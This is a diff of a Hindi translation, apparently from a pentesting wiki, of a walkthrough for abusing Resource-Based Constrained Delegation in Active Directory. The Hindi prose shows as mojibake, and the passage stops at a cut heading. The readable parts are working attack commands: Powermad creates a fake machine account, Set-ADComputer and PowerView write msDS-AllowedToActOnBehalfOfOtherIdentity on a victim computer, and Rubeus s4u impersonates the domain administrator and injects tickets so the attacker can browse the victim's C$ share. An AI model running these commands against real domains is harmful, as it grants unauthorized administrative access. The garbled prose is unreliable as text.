рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕рдХрд╛ рдирд╛рдо _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ рд╣реЛрдЧрд╛, рдЬрд┐рд╕рдореЗрдВ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдирд╛рдо рд╣реЛрдЧрд╛ рдЬреЛ рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред +рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╕реАрдорд┐рдд рд╡рд╕реНрддреБ рдореЗрдВ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕реЗ _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдЙрд╕ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдирд╛рдо рд╣реЛрдЧрд╛ рдЬреЛ рдЗрд╕рдХреЗ рдЦрд┐рд▓рд╛рдл рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХрддрд╛ рд╣реИред -рдЗрд╕ Constrained Delegation рдФрд░ рдЕрдиреНрдп рдбреЗрд▓реАрдЧреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ **рдПрдХ рдорд╢реАрди рдЦрд╛рддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) рд╣реЛ рд╕рдХрддреА рд╣реИ, рд╡рд╣ _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЕрдиреНрдп рдкреНрд░рдХрд╛рд░ рдХреА рдбреЗрд▓реАрдЧреЗрд╢рди рдореЗрдВ рдЖрдкрдХреЛ рдбреЛрдореЗрди рдПрдбрдорд┐рди рдкреНрд░рд┐рд╡рд┐рд▓реЗрдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА)ред +рдЗрд╕ Constrained Delegation рдФрд░ рдЕрдиреНрдп рдбреЗрд▓реАрдЧреЗрд╢рдиреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ рдФрд░ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдЕрдВрддрд░ рдпрд╣ рд╣реИ рдХрд┐ рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ **рдХрдВрдкреНрдпреВрдЯрд░ рдЦрд╛рддреЗ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) рд╣реЛ рд╕рдХрддреА рд╣реИ рдЬреЛ **_msDS-AllowedToActOnBehalfOfOtherIdentity_** рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (рдЕрдиреНрдп рдбреЗрд▓реАрдЧреЗрд╢рди рдХреЗ рд░реВрдкреЛрдВ рдореЗрдВ рдЖрдкрдХреЛ рдбреЛрдореЗрди рдПрдбрдорд┐рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдереА)ред ### New Concepts -Constrained Delegation рдореЗрдВ рдХрд╣рд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ **`TrustedToAuthForDelegation`** рдзреНрд╡рдЬ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ _userAccountControl_ рдорд╛рди рдХреЗ рдЕрдВрджрд░ **S4U2Self** рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИред рд▓реЗрдХрд┐рди рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдЪ рдирд╣реАрдВ рд╣реИред\ -рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рдЙрд╕ рдорд╛рди рдХреЗ рдмрд┐рдирд╛ рднреА, рдЖрдк рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд┐рд▓рд╛рдл **S4U2Self** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк рдПрдХ **рд╕реЗрд╡рд╛** рд╣реИрдВ (рдПрдХ SPN рд╣реИ) рд▓реЗрдХрд┐рди, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **`TrustedToAuthForDelegation`** рд╣реИ рддреЛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ TGS **Forwardable** рд╣реЛрдЧрд╛ рдФрд░ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡рд╣ рдзреНрд╡рдЬ рдирд╣реАрдВ рд╣реИ рддреЛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ TGS **Forwardable** **рдирд╣реАрдВ** рд╣реЛрдЧрд╛ред +Constrained Delegation рдореЗрдВ рдХрд╣рд╛ рдЧрдпрд╛ рдерд╛ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ _userAccountControl_ рдорд╛рди рдХреЗ рдЕрдВрджрд░ **`TrustedToAuthForDelegation`** рдзреНрд╡рдЬ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИ рддрд╛рдХрд┐ **S4U2Self** рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рд▓реЗрдХрд┐рди рдпрд╣ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рд╕рдЪ рдирд╣реАрдВ рд╣реИред\ +рд╡рд╛рд╕реНрддрд╡рд┐рдХрддрд╛ рдпрд╣ рд╣реИ рдХрд┐ рднрд▓реЗ рд╣реА рдЙрд╕ рдорд╛рди рдХреЗ рдмрд┐рдирд╛, рдЖрдк рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд┐рд▓рд╛рдл **S4U2Self** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрджрд┐ рдЖрдк рдПрдХ **рд╕реЗрд╡рд╛** рд╣реИрдВ (рдПрдХ SPN рд╣реИ) рд▓реЗрдХрд┐рди, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **`TrustedToAuthForDelegation`** рд╣реИ рддреЛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ TGS **Forwardable** рд╣реЛрдЧрд╛ рдФрд░ рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рд╡рд╣ рдзреНрд╡рдЬ рдирд╣реАрдВ рд╣реИ рддреЛ рд▓реМрдЯрд╛рдпрд╛ рдЧрдпрд╛ TGS **Forwardable** **рдирд╣реАрдВ** рд╣реЛрдЧрд╛ред -рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ **S4U2Proxy** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ **TGS** **Forwardable рдирд╣реАрдВ рд╣реИ** рддреЛ **basic Constrain Delegation** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ **рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛**ред рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк **Resource-Based constrain delegation** рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ (рдпрд╣ рдПрдХ рднреЗрджреНрдпрддрд╛ рдирд╣реАрдВ рд╣реИ, рдпрд╣ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реИ, рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ)ред +рд╣рд╛рд▓рд╛рдВрдХрд┐, рдпрджрд┐ **S4U2Proxy** рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ **TGS** **Forwardable рдирд╣реАрдВ рд╣реИ** рддреЛ **рдмреБрдирд┐рдпрд╛рджреА Constrain Delegation** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдирд╛ **рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛**ред рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк **Resource-Based constrain delegation** рдХрд╛ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред ### Attack structure -> рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **Computer** рдЦрд╛рддреЗ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдордХрдХреНрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВ рддреЛ рдЖрдк рдЙрд╕ рдорд╢реАрди рдореЗрдВ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкрд╣реБрдВрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +> рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ **рдХрдВрдкреНрдпреВрдЯрд░** рдЦрд╛рддреЗ рдкрд░ **рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдордХрдХреНрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВ рддреЛ рдЖрдк рдЙрд╕ рдорд╢реАрди рдореЗрдВ **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкрд╣реБрдВрдЪ** рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдорд╛рди рд▓реАрдЬрд┐рдП рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рдкрд╛рд╕ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА **рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ рд▓рд┐рдЦрдиреЗ рдХреЗ рд╕рдордХрдХреНрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рд╣реИрдВред -1. рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЦрд╛рддреЗ рдХреЛ **рд╕рдордЭреМрддрд╛** рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ **SPN** рд╣реИ рдпрд╛ **рдПрдХ рдмрдирд╛рддрд╛ рд╣реИ** (тАЬService AтАЭ)ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХреЛрдИ рднреА** _Admin User_ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд┐рд╢реЗрд╖ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ **10 рддрдХ Computer objects (**_**MachineAccountQuota**_**)** рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ **SPN** рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдмрд╕ рдПрдХ Computer object рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ SPN рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред -2. рд╣рдорд▓рд╛рд╡рд░ рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ (ServiceB) рдкрд░ **resource-based constrained delegation** рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ WRITE рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХрд╛ **рджреБрд░реБрдкрдпреЛрдЧ** рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ ServiceA рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХреЗ рдЬреЛ рдЙрд╕ рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ (ServiceB) рдХреЗ рдЦрд┐рд▓рд╛рдл рд╣реИред +1. рд╣рдорд▓рд╛рд╡рд░ рдПрдХ рдЦрд╛рддреЗ рдХреЛ **рд╕рдордЭреМрддрд╛** рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдПрдХ **SPN** рд╣реИ рдпрд╛ **рдПрдХ рдмрдирд╛рддрд╛ рд╣реИ** (тАЬService AтАЭ)ред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **рдХреЛрдИ рднреА** _Admin User_ рдмрд┐рдирд╛ рдХрд┐рд╕реА рдЕрдиреНрдп рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ **10 рдХрдВрдкреНрдпреВрдЯрд░ рд╡рд╕реНрддреБрдПрдВ** (**_MachineAccountQuota_**) рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдПрдХ **SPN** рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рд╣рдорд▓рд╛рд╡рд░ рдмрд╕ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рд╡рд╕реНрддреБ рдмрдирд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдПрдХ SPN рд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред +2. рд╣рдорд▓рд╛рд╡рд░ рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ (ServiceB) рдкрд░ рдЕрдкрдиреЗ **рд▓рд┐рдЦрдиреЗ рдХреЗ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ **resource-based constrained delegation рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рддрд╛рдХрд┐ ServiceA рдХрд┐рд╕реА рднреА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░ рд╕рдХреЗ** рдЙрд╕ рд╢рд┐рдХрд╛рд░ рдХрдВрдкреНрдпреВрдЯрд░ (ServiceB) рдХреЗ рдЦрд┐рд▓рд╛рдлред 3. рд╣рдорд▓рд╛рд╡рд░ Rubeus рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ **рдкреВрд░реНрдг S4U рд╣рдорд▓рд╛** (S4U2Self рдФрд░ S4U2Proxy) Service A рд╕реЗ Service B рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП **рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдкреНрд░рд╛рдкреНрдд рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде Service B** рдкрд░ рдХрд░рддрд╛ рд╣реИред -1. S4U2Self (рд╕рдордЭреМрддрд╛/рдмрдирд╛рдП рдЧрдП SPN рдЦрд╛рддреЗ рд╕реЗ): рдореБрдЭрд╕реЗ **Administrator рдХрд╛ TGS рдорд╛рдВрдЧреЗрдВ** (Not Forwardable)ред -2. S4U2Proxy: рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдХреЗ **not Forwardable TGS** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Administrator** рд╕реЗ **рд╢рд┐рдХрд╛рд░ рд╣реЛрд╕реНрдЯ** рдХреЗ рд▓рд┐рдП **TGS** рдорд╛рдВрдЧреЗрдВред -3. рднрд▓реЗ рд╣реА рдЖрдк рдПрдХ not Forwardable TGS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Resource-based constrained delegation рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред -4. рд╣рдорд▓рд╛рд╡рд░ **pass-the-ticket** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдЕрдиреБрдХрд░рдг** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ **рд╢рд┐рдХрд╛рд░ ServiceB** рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗред +1. S4U2Self (рд╕рдордЭреМрддрд╛/рдмрдирд╛рдП рдЧрдП SPN рд╕реЗ): рдореБрдЭрд╕реЗ **Administrator рдХрд╛ TGS** рдорд╛рдВрдЧреЗрдВ (Forwardable рдирд╣реАрдВ)ред +2. S4U2Proxy: рдкрд┐рдЫрд▓реЗ рдЪрд░рдг рдХреЗ **рдиреЙрди-Forwardable TGS** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Administrator** рд╕реЗ **рд╢рд┐рдХрд╛рд░ рд╣реЛрд╕реНрдЯ** рдХреЗ рд▓рд┐рдП **TGS** рдорд╛рдВрдЧреЗрдВред +3. рднрд▓реЗ рд╣реА рдЖрдк рдПрдХ рдиреЙрди-Forwardable TGS рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд░рд╣реЗ рд╣реЛрдВ, рдХреНрдпреЛрдВрдХрд┐ рдЖрдк Resource-based constrained delegation рдХрд╛ рд╢реЛрд╖рдг рдХрд░ рд░рд╣реЗ рд╣реИрдВ, рдпрд╣ рдХрд╛рдо рдХрд░реЗрдЧрд╛ред +4. рд╣рдорд▓рд╛рд╡рд░ **рдкрд╛рд╕-рджреА-рдЯрд┐рдХрдЯ** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ **рдЕрдиреБрдХрд░рдг** рдХрд░ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ **рд╢рд┐рдХрд╛рд░ ServiceB** рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХреЗред рдбреЛрдореЗрди рдХреЗ _**MachineAccountQuota**_ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: -```powershell +```bash Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota ``` ## рд╣рдорд▓рд╛ ### рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛рдирд╛ -рдЖрдк [powermad](https://github.com/Kevin-Robertson/Powermad)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ:** -```powershell +рдЖрдк **[powermad](https://github.com/Kevin-Robertson/Powermad)** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбреЛрдореЗрди рдХреЗ рдЕрдВрджрд░ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ: +```bash import-module powermad New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose # Check if created Get-DomainComputer SERVICEA ``` -### R**esource-based Constrained Delegation** рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ +### Resource-based Constrained Delegation рдХреЛ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рдХрд░рдирд╛ **activedirectory PowerShell рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛** -```powershell +```bash Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assing delegation privileges Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked ``` **рдкреЙрд╡erview рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛** -```powershell +```bash $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" $SDBytes = New-Object byte[] ($SD.BinaryLength) @@ -70,9 +70,9 @@ msds-allowedtoactonbehalfofotheridentity ---------------------------------------- {1, 0, 4, 128...} ``` -### рдкреВрд░реНрдг S4U рд╣рдорд▓реЗ рдХрд╛ рдкреНрд░рджрд░реНрд╢рди +### Performing a complete S4U attack -рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдордиреЗ рдирдП рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб `123456` рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рд╣реИрд╢ рдЪрд╛рд╣рд┐рдП: +рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдордиреЗ рдирдП Computer рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рдкрд╛рд╕рд╡рд░реНрдб `123456` рдХреЗ рд╕рд╛рде рдмрдирд╛рдпрд╛, рдЗрд╕рд▓рд┐рдП рд╣рдореЗрдВ рдЙрд╕ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рд╣реИрд╢ рдЪрд╛рд╣рд┐рдП: ```bash .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local ``` @@ -81,28 +81,28 @@ msds-allowedtoactonbehalfofotheridentity ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /aes128: /rc4: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt ``` -рдЖрдк Rubeus рдХреЗ `/altservice` рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдкреВрдЫрдХрд░ рдЕрдзрд┐рдХ рдЯрд┐рдХрдЯ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк Rubeus рдХреЗ `/altservice` рдкреИрд░рд╛рдореАрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдмрд╛рд░ рдкреВрдЫрдХрд░ рдЕрдзрд┐рдХ рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЕрдзрд┐рдХ рдЯрд┐рдХрдЯ рдЙрддреНрдкрдиреНрди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```bash rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ "**Cannot be delegated**" рдирд╛рдордХ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрддреА рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ True рд╣реИ, рддреЛ рдЖрдк рдЙрд╕рдХреА рдирдХрд▓ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдпрд╣ рд╕рдВрдкрддреНрддрд┐ bloodhound рдХреЗ рдЕрдВрджрд░ рджреЗрдЦреА рдЬрд╛ рд╕рдХрддреА рд╣реИред +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдкрд╛рд╕ "**Cannot be delegated**" рдирд╛рдордХ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рд╣реЛрддреА рд╣реИред рдпрджрд┐ рдХрд┐рд╕реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдпрд╣ рд╡рд┐рд╢реЗрд╖рддрд╛ True рд╣реИ, рддреЛ рдЖрдк рдЙрд╕рдХреА рдирдХрд▓ рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗред рдпрд╣ рдЧреБрдг bloodhound рдХреЗ рдЕрдВрджрд░ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред ### Accessing -рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рд▓рд╛рдЗрди **рдкреВрд░реНрдг S4U рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧреА рдФрд░ **TGS** рдХреЛ Administrator рд╕реЗ рдкреАрдбрд╝рд┐рдд рд╣реЛрд╕реНрдЯ рдореЗрдВ **рдореЗрдореЛрд░реА** рдореЗрдВ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдЧреАред\ -рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ Administrator рд╕реЗ **CIFS** рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ TGS рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдЖрдк **C$** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдВрдЧреЗ: +рдЕрдВрддрд┐рдо рдХрдорд╛рдВрдб рд▓рд╛рдЗрди **рдкреВрд░реНрдг S4U рд╣рдорд▓реЗ рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдЧреА рдФрд░ рдкреАрдбрд╝рд┐рдд рд╣реЛрд╕реНрдЯ рдореЗрдВ **рдореЗрдореЛрд░реА** рдореЗрдВ Administrator рд╕реЗ TGS рдХреЛ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░реЗрдЧреАред\ +рдЗрд╕ рдЙрджрд╛рд╣рд░рдг рдореЗрдВ Administrator рд╕реЗ **CIFS** рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдПрдХ TGS рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдЖрдк **C$** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ: ```bash ls \\victim.domain.local\C$ ``` ### рд╡рд┐рднрд┐рдиреНрди 